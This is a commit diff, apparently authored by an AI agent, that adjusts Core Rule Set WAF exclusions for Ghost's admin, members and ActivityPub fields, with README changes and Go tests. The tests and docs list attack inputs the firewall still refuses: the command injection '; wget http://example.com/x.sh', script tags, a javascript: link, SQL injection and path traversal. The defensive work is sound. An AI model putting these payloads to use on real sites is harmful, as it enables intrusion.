Compare commits

..
1 Commits
Author SHA1 Message Date
clawbot 4228f0ac9f Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Waiting to run
Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with
python3, powershell, ls -la and .htaccess. Fixes in ghost.conf:

- the rules of plain text, now eight with 932235, for staff profiles, setup,
  invitations, tiers, offers, recommendations, integrations, webhooks,
  feature image captions, members' comments, the CSV import's labels,
  ActivityPub, and the analytics' query fields;
- 932235 for the existing plain-text fields too, so "powershell & python3"
  passes there;
- filter skips six more command rules, for the post picker's
  title:~'powershell & python3';
- staff invitation addresses, email_segment and a tag's code injection.

Model: opus-5-5
2026-11-12 04:56:13 +00:00
4 changed files with 84 additions and 340 deletions

No files matched your search

+4 -3
View File
@@ -609,9 +609,10 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through the text its admin and members type, its
analytics, its code injection, ActivityPub and a post saved from its
editor, HTML included.
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings, its analytics, its
members' comments, ActivityPub and a post saved from its editor, HTML
included.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
+25 -53
View File
@@ -1750,28 +1750,29 @@ under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
Eight rules refused words that name commands and files, such as `python3`,
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
932260 and 932380. They refused words that name commands and files, such as
`python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
These query fields skip some rules:
- `filter`, a query in Ghost's own filter language, skips those eight rules
except 930120, on the Admin API and the Content API;
- `filter`, a query in Ghost's own filter language, skips the rules of plain
text except 930120, on the Admin API and the Content API;
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
the Admin API;
- `url`, the address the editor looks up for an embed or a bookmark, skips
930120 and 932120;
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
those eight rules under `/ghost/api/admin/stats/`;
the rules of plain text under `/ghost/api/admin/stats/`;
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
on the Admin API's posts;
- `query`, a search for an account in ActivityPub, skips those eight rules;
- `query`, a search for an account in ActivityPub, skips the rules of plain
text;
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
The fields of JSON bodies where a person types plain text skip those eight
rules. They are these fields of posts, pages, tags, labels, members, newsletters
and snippets, on the Admin API:
The fields of JSON bodies where a person types plain text skip the rules of
plain text. They are these fields of posts, pages, tags, labels, members,
newsletters and snippets, on the Admin API:
- `title`, `name` and `slug`;
- a post's `tags` and a member's `labels`, by name or slug;
@@ -1794,30 +1795,14 @@ These fields skip them on their own paths:
- a member's `name` at `/members/api/`;
- `html` of a member's comment at `/members/api/comments/`;
- `labels`, when the admin imports members from a CSV file;
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
description of its image;
- `name`, `username` and `bio` of the account in ActivityPub.
- in ActivityPub, `content` of a note or a reply, and `name`, `username` and
`bio` of the account.
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
the admin adds or edits a member. A staff user's address skips them too. It is
sent as `username` when signing in, and as `email` in these requests:
- creating the first staff user;
- asking for a password reset;
- saving a profile;
- inviting a staff user;
- accepting an invitation.
In ActivityPub, an account's handle skips 930120 and 932120. The domain of the
site's handle skips 930120, 932120 and 932260. Each field skips its rules only
on its own path:
- `sourceHandle`, an account that moves here, at
`/.ghost/activitypub/v1/aliases`;
- `targetHandle`, the account this one moves to, at
`/.ghost/activitypub/v1/migration`;
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
`/.ghost/activitypub/v1/domain/validate`.
the admin adds or edits a member. A staff user's address skips them too:
`username` when signing in, and `email` when creating the first staff user,
asking for a password reset, saving a profile, inviting a staff user or
accepting an invitation.
The articles carry HTML on purpose. These fields on the Admin API hold them:
@@ -1842,31 +1827,18 @@ These fields on the Admin API hold it:
Code injection skips these rules:
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
refused words that name commands and files, such as the site's title
`powershell & python3`;
- the rules of plain text except 932235;
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
elements.
A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
card can embed a widget and code injection can load analytics. These are the
fields, on the Admin API:
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
injection are still refused in every field above. Script injection is too,
outside the articles.
- `lexical`, `mobiledoc` and `html` of posts and pages;
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
- `value` of settings.
`<script>alert(1)</script>` is still refused in snippets and newsletters.
`javascript:alert(1)` is still refused in the articles and code injection
(941170 and 941210). Path traversal and SQL injection are still refused in every
field above. Script injection is too, outside the articles and code injection.
`; wget http://example.com/x.sh` is still refused in these fields:
- the addresses, the handles and the domain;
- `search`, `url`, `email_segment` and `email`.
The other fields above skip 932235, which refuses that command but also refuses
`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
`url`, `email_segment` and `email`. The plain text, the articles and the other
query fields skip 932235, which refuses it, since 932235 also refuses
`powershell & python3`.
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
+26 -77
View File
@@ -57,8 +57,8 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The query fields of the analytics pages skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# The query fields of the analytics pages skip the eight rules of plain text,
# which 900353 lists, on /ghost/api/admin/stats/:
# 930120: pathname=/.htaccess
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
@@ -83,8 +83,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
# query, a search for an account in ActivityPub, skips the eight rules of plain
# text: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
@@ -96,8 +96,8 @@ SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# The fields a person types plain text into skip eight rules, the rules of
# plain text, on the Admin API:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
@@ -191,26 +191,23 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
ctl:ruleRemoveTargetById=932380;ARGS:labels"
# In ActivityPub, a note's or a reply's text and the description of its image,
# and an account's name, username and bio, skip the same eight rules. They
# refused "Trying python3 & powershell", the image's description "A terminal
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
# tips". Each field skips them on its own path:
# content and image.altText, posting a note at
# /.ghost/activitypub/v1/actions/note or a reply under
# /.ghost/activitypub/v1/actions/reply/
# In ActivityPub, a note's or a reply's content and an account's name, username
# and bio skip the same eight rules, which refused "Trying python3 & powershell"
# and the bio "ls -la and .htaccess tips". Each field skips them on its own path:
# content, posting a note at /.ghost/activitypub/v1/actions/note or a reply
# under /.ghost/activitypub/v1/actions/reply/
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
"id:900373,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
SecRule &ARGS_GET:/^json\.content$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.content$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.content$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
"id:900374,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
@@ -299,34 +296,6 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
# In ActivityPub, an account's handle skips 930120 and 932120, which refused
# @erin.htaccess@example.com and @powershell@example.com. A handle starts with
# an @, so 932260 does not refuse @python3.dev@example.com. The domain of the
# site's handle skips the same three rules as an address, which refused
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
# Each of these fields skips them only on its own path:
# sourceHandle, an account that moves here, at /.ghost/activitypub/v1/aliases
# targetHandle, the account this one moves to, at
# /.ghost/activitypub/v1/migration
# domain, saved at /.ghost/activitypub/v1/domain and checked at
# /.ghost/activitypub/v1/domain/validate
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
"id:900379,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.sourcehandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.sourcehandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.sourcehandle$/"
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
"id:900380,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
"id:900381,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
# The articles skip these rules on the Admin API:
# 930120: ls -la /var/www/html/.htaccess in a code block
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
@@ -348,8 +317,8 @@ SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
# reuse
# newsletters.<n>.footer_content, the footer of a newsletter
# A javascript: link (941170, 941210) is still refused in them. A <script>
# element (941110) passes only in posts and pages, by 900366.
# A <script> element (941110) and a javascript: link (941170, 941210) are still
# refused in them.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900355,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -373,15 +342,13 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
# the site's settings, which hold the site-wide code injection besides the
# title and the description, skip the eight rules that 900353 lists and these:
# title and the description, skip the rules of plain text above and these:
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
# 941270: <link rel="preconnect" href="https://fonts.example.com">
# 932235, one of the eight, refused the site's title "powershell & python3".
# These fields hold it, and skip the rules anywhere on the Admin API:
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# A javascript: link is still refused in them, and a <script> element passes
# by 900366.
# A <script> element and a javascript: link are still refused in them.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900356,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -390,7 +357,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -398,21 +364,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
# A <script> element skips 941110 in posts, pages and code injection, on the
# Admin API, which refused:
# an HTML card that embeds a widget with its script
# code injection that loads analytics,
# <script defer src="https://analytics.example.com/script.js"></script>
# These fields take a <script> element on purpose:
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
# settings.<n>.value, the value of a setting
# Snippets and a newsletter's footer still refuse it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900366,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
# Saving a staff user's profile sends the field profile_image, whose name holds
# .profile, a file the list of system files names (930120).
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -421,8 +372,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
# the code injection of posts. A javascript: link is still refused in it.
# /ghost/api/admin/tags/, skips the same rules as the code injection of posts.
# A <script> element and a javascript: link are still refused in it.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
"id:900378,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
@@ -431,12 +382,10 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
+29 -207
View File
@@ -38,9 +38,6 @@ const (
ghostComments = "/members/api/comments/"
ghostNote = "/.ghost/activitypub/v1/actions/note"
ghostAccount = "/.ghost/activitypub/v1/account"
ghostAliases = "/.ghost/activitypub/v1/aliases"
ghostMigration = "/.ghost/activitypub/v1/migration"
ghostDomain = "/.ghost/activitypub/v1/domain"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -77,7 +74,7 @@ func (f ghostField) with(t *testing.T, value string) string {
)
}
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
// ghostTextFields hold plain text and skip the eight rules of plain text.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
@@ -200,12 +197,9 @@ var ghostTextFields = []ghostField{
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
},
// ActivityPub: a note, a reply, the description of their image, and the
// account.
// ActivityPub: a note, a reply and the account.
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
{http.MethodPost, ghostNote, ghostNoteImage},
{http.MethodPost, ghostReply, ghostNoteImage},
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
@@ -224,11 +218,6 @@ var ghostNewComment = ghostField{
const ghostComment = `Try <strong>python3</strong>, then ` +
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
// image, with VALUE as the image's description.
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
// ghostReply is the path that posts a reply to a note in ActivityPub.
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
@@ -261,30 +250,10 @@ var ghostAddressFields = []ghostField{
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
// sends as an @ followed by an address, with no spaces. They skip 930120 and
// 932120.
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostHandleFields = []ghostField{
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
}
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
// skip 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomainFields = []ghostField{
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
}
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
// <script> element by 900366.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostPostFields = []ghostField{
var ghostArticleFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{
@@ -293,13 +262,6 @@ var ghostPostFields = []ghostField{
`{"posts":[{"html":"VALUE"}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
}
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
// footer, skip the rules of 900355, and still refuse a <script> element.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostSnippetAndNewsletterFooterFields = []ghostField{
{
http.MethodPost,
"/ghost/api/admin/snippets/",
@@ -312,16 +274,8 @@ var ghostSnippetAndNewsletterFooterFields = []ghostField{
},
}
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = slices.Concat(
ghostPostFields,
ghostSnippetAndNewsletterFooterFields,
)
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
// and 900378, and take a <script> element by 900366 and 900378.
// ghostCodeFields hold code injection or a setting and skip the rules of
// 900356 and 900378.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
@@ -397,15 +351,6 @@ var ghostAddresses = []string{
"dave.powershell@example.com",
}
// ghostDomains are domains 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostDomains = []string{
"erin.htaccess.example.com",
"python3.example.com",
"powershell.example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -498,17 +443,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
}
for _, address := range ghostAddresses {
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
for _, f := range ghostAddressFields {
wantGhostField(t, f, address, false)
}
}
for _, domain := range ghostDomains {
for _, f := range ghostDomainFields {
wantGhostField(t, f, domain, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
@@ -518,12 +457,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
}
wantGhostField(t, ghostNewComment, ghostComment, false)
wantGhostField(
t,
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
"A terminal running ls -la on .htaccess with python3",
false,
)
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
@@ -533,42 +466,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostWidget is an HTML card that embeds a widget with its script.
const ghostWidget = `<div id="signup"></div>` +
`<script src="https://widgets.example.com/form.js" async></script>`
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
`"html":"<div id=\"signup\"></div><script ` +
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
`src="https://analytics.example.com/script.js"></script>`
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
t.Parallel()
// An HTML card in a post, as the editor saves it, and as integrations
// send it.
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
for _, f := range ghostPostFields {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's, a page's or a
// tag's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
}
// ghostAttacks are an SQL injection and a path traversal, not escaped.
// ghostAttacks are an SQL injection, a path traversal and a script
// injection, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal}
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -578,8 +480,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostArticleFields,
ghostCodeFields) {
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
@@ -588,24 +489,11 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever 932235 does not
// misfire: in the addresses, handles, the domain, search, url,
// email_segment and email. The other fields skip 932235, which refuses
// "powershell & python3" as it refuses this.
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
ghostDomainFields) {
// misfire: in the addresses, search, url, email_segment and email. The
// plain text, filter and the analytics' fields skip 932235, which
// refuses "powershell & python3" as it refuses this.
for _, f := range ghostAddressFields {
wantGhostField(t, f, commandAfterASeparator, true)
}
@@ -628,20 +516,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
true,
)
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
// The articles and code injection carry HTML on purpose, but a script
// element and a javascript: link are still refused there.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
for _, f := range ghostSnippetAndNewsletterFooterFields {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address and the domain keep 932250, which refuses a listing of
// files. A handle keeps it too, but its @ comes before any command.
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
}
}
@@ -649,18 +532,10 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
func TestGhostTwoCommandNamesPass(t *testing.T) {
t.Parallel()
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
for _, f := range ghostTextFields {
wantGhostField(t, f, ghostCommandNames, false)
}
// The site's title, saved through settings.
siteTitle := ghostField{
http.MethodPut,
ghostSettings,
`{"settings":[{"key":"title","value":"VALUE"}]}`,
}
wantGhostField(t, siteTitle, ghostCommandNames, false)
// filter as the admin's post picker writes it, after a person types a
// title that joins two command names.
for _, typed := range []string{
@@ -829,47 +704,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
}
}
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A <script> element keeps 941110 off the Admin API, in fields that do
// not take one, and when the query has a field of the same name. 941100
// and 941160 refuse each request too, so the test looks for 941110
// itself.
const (
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/ghost/api/content/posts/", scriptInPost},
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{ghostPosts, scriptInTag},
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold ||
!slices.Contains(got.RuleIDs, 941110) {
t.Errorf(
"PUT %s %s: %+v, want 941110 among them",
refused.target,
refused.body,
got,
)
}
}
